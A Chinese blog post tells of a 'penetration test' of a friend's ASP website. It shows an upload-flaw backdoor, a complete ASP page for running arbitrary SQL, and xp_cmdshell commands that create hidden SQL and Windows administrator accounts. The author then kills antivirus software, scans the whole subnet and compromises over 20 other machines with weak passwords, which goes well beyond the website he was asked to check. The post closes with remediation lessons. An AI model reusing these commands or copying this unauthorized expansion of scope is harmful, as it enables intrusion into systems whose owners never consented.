记一次渗透测试

 个教师朋友做了一个学习网站,让我帮忙检查安全性,只提供了网页地址。
首先使用superscan扫了一下常用端口,没有问题,只开了80,返回IIS5.0,win2K差不离;
扫描常见cgi/IIS漏洞,没有问题,打了sp4补丁,到目前为止还不错;
到网页上转了转,发现是用asp写的,自然要扫扫sql注入了,也许你以为这次成功了吧,很不幸,没有。
自己做的网页,自然没有asp源代码看,后台也扫不出来,这下没办法了吧?

听说他要做个bbs,但是网页上没有链接,于是根据他的习惯和网站名称猜bbs名字,
终于,哈哈,http://x.y.z.v/xxxbbs出来了,进去看了一看,晕倒,bbs也是自己搞的,很简陋
已经有几篇测试文章了。
不过,有个细节,每个发文人都有一副照片,而且不是QQ里面那种,同时看看了路径,/xxxbbs/myfaces
上传上去的?......
立马申请一个用户进去,果真可以换脸,哈哈哈
upfile.asp,打开居然看到了“文件名”、上传
看着upfile.asp的界面咋这么眼熟呢?......dvbbs早期版本抄过来的?

不会这么乐,碰到上传漏洞了吧?
winsockexpert抓cookie,再上nc大法传asp后门,晕,还真传上去了......
至此网站服务器已经搞定,至于提权什么的,我又不是真正的入侵,没必要了

打开后门,浏览磁盘,顺便看看网站connectDB.asp,得到sql服务器地址a.b.c.d、登陆名sa及密码!
不用想了,sqlexec连接之......失败!
tell me why?
有点意思......
再上superscan扫a.b.c.d,开了21(serv-u 6.1)、3389,
1433(ms-sql)哪里去了?估计是有防火墙,只允许网站IP连接1433,为了测试,
用asp后门抓下他的connectDB.asp,在自己的asp空间里面做个测试网页,
通过这个connectDB.asp连接他的sql,果真连接不上,看了防火墙做了IP地址限制无疑。

临时写了一个sql执行页面,传到他的网站,网站是可以连到sql服务器的嘛,呵呵:
======================test.asp==============================
<!--#include file="connectDB.asp"-->
<form><p>
<input type="text" name="strSQL" size="128"></input></p>
<input type="submit" name="execute"></input>
</form>
<%
        Dim strSQL,objRS,rs
        Set objRS = Server.CreateObject("ADODB.Recordset")
        strSQL = Request("strSQL")
        Response.Write "strSQL=" &strSQL
        If strSQL <> "" Then
                Err.Clear
                objRS.Open strSQL ,conn
%>
<table border=1 id=tbl style=border-collapse:collapse>
<%
Do While NOT objRS.EOF
                For Each rs in objRS.Fields
%>
<tr><td><%=rs.Name%></td><td><%=rs.Value%></td></tr>
<%
                Next
objRS.MoveNext
Loop
        End If
        CloseDatabase'这个是connectDB.asp定义的,出于好习惯,要关一下
        Response.End
%>
======================test.asp==============================
到这里,就是纯粹的sql知识复习了
哈哈,不用想了,依次提交:
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell'
返回1,xp_cmdshell没关,这老哥看来刚弄完不久,急吼吼让我测试,这下测出大事了,呵呵!
exec master..xp_cmdshell 'dir c:/'
返回"驱动器 C 中的卷是",哈哈,真的没问题
exec master.dbo.sp_addlogin 'L0op8ack'
加一个sql帐号
exec master.dbo.sp_password null,'mypassword','L0op8ack'
设置sql帐号密码
exec master.dbo.sp_addsrvrolemember 'L0op8ack',sysadmin
将sql帐号升为sysadmin,这个需要sa或者dbo权限才行,
当然,如果你够闲,可以重写sp_addsrvrolemember过程,去掉身份判断部分即可
exec master.dbo.xp_cmdshell 'net user L0op8ack /add'
有3389,自然要加个系统帐号
exec master.dbo.xp_cmdshell 'net user L0op8ack mypassword'
给系统帐号设个密码,这里设简单一点,'"之类的特殊字符可能sql会出错
exec master.dbo.xp_cmdshell 'net localgroup administrators L0op8ack /add'
系统帐号L0op8ack光荣加入administrators!

开始->运行->mstsc,连接,3389终于到手,进去溜达溜达
哇赛,1G内存,160G硬盘,好有钱哪(/-___-/)
ipconfig /all
居然是个/24的掩码,晕倒,看来今天想收手都难啊,
杀掉各种杀毒软件,就地当各种扫描软件,跑了1个小时,又有20多台IPC弱密码出来了
当然,是我的密码字典不错,呵呵!

到此就算结束了,
删除sql服务器上的系统帐号,开启杀毒软件,删除sql帐号,
删除网站上的test.asp和asp后门,将upfile.asp重命名

赶紧打电话给这位老哥,看来晚上这顿饭有人管了,哈哈!

因为一个小小的错误,导致大面积机器被控制,这里需要总结一下:
1)网站为了图方便,使用老版本的dvbbs upfile.asp;
2)使用了sa帐号连sql服务器
3)没有去掉sql上的不必要过程
4)即使在防火墙(硬件的)保护范围内,相互之间也不是全部可信的,个人防火墙还是需要的
5)不要让你的对手太了解你的个人习惯|:)

                                                                                                                                       Code by amxku

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值